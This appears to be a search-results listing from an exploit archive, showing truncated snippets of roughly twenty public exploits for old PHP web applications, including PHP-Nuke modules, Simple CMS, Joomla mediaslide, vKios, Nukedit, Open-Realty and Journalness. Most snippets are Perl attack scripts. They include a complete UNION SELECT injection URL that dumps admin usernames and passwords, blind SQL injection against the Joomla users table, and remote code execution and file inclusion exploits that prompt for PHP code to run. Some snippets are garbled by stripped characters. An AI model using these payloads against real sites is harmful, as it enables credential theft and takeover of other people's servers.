1507 matches found
PHP-Nuke KutubiSitte "kid" SQL Injection exploit code adding
!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 ----------------------------- :::::::::::::::::::::::::::::...
PHP-Nuke KutubiSitte Module - 'kid' SQL Injection
source: https://www.securityfocus.com/bid/28126/info The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...
CVE-2008-1167
Stack-based buffer overflow in the useragent function in useragent.c in Squid Analysis Report Generator Sarg 2.2.3.1 allows remote attackers to execute arbitrary code via a long Squid proxy server User-Agent header. NOTE: some of these details are obtained from third party information...
nukeditadmin-sql.txt
!/usr/bin/perl Title: Nukedit 4.9.x Create Admin Exploit Credit: r3dm0v3 http://r3dm0v3.persianblog.ir r3dm0v34tyahoodotcom Tehran - Iran Download: http://www.nukedit.com/content/Download.asp Vulnerables: 4.9.x, prior versions maybe affected. Remote: Yes Dork: "Powered by Nukedit" Fix: Not...
DBHcms <= 1.1.4 Remote File Inclusion exploit
Exploit for unknown platform in category web applications ============================================= DBHcms $shellurl = "http://localhost/s.txt"; print " DBHcms ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=;...
Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Simple CMS = 1.0.3 ?area= Remote SQL Injection Exploit Code by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project http://www.spanish-hackers.com special thanks to ka0x print " "; print " Simple CMS = 1.0.3 Remote SQL...
AuraCMS 1.62 Multiple Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================== AuraCMS 1.62 Multiple Remote SQL Injection Exploit ================================================== !/usr/bin/perl Indonesian Newhack Security Advisory ----------------------------------...
Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================================== Simple CMS new or die; my...
Simple CMS 1.0.3 - area SQL Injection
Simple CMS 1.0.3 - area SQL Injection !/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else...
Simple CMS 1.0.3 - 'area' SQL Injection
!/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else print "\n- exploit failed\n";...
Joomla! Component mediaslide - albumnum Blind SQL Injection
Joomla! Component mediaslide - albumnum Blind SQL Injection !/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table ...
joomlamedia-sql.txt
!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...
Joomla! Component mediaslide - 'albumnum' Blind SQL Injection
!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...
vkios-sql.txt
!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "...
vKios 2.0.0 - cat SQL Injection
vKios 2.0.0 - cat SQL Injection !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...
vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================== vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...
Open-Realty <= 2.4.3 (last_module) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ================================================================ Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=; $code = s/|new;...
Journalness 4.1 - last_module Remote Code Execution
Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...
Open-Realty <= 2.4.3 (last_module) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty = 2.4.3 Remote Code Execution exploit By Iron - randombase.com Greets to everyone at...
Journalness <= 4.1 (last_module) Remote Code Execution exploit
No description provided by source. !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness = 4.1 Remote Code Execution exploit By Iron - randombase.com Greets to everyo...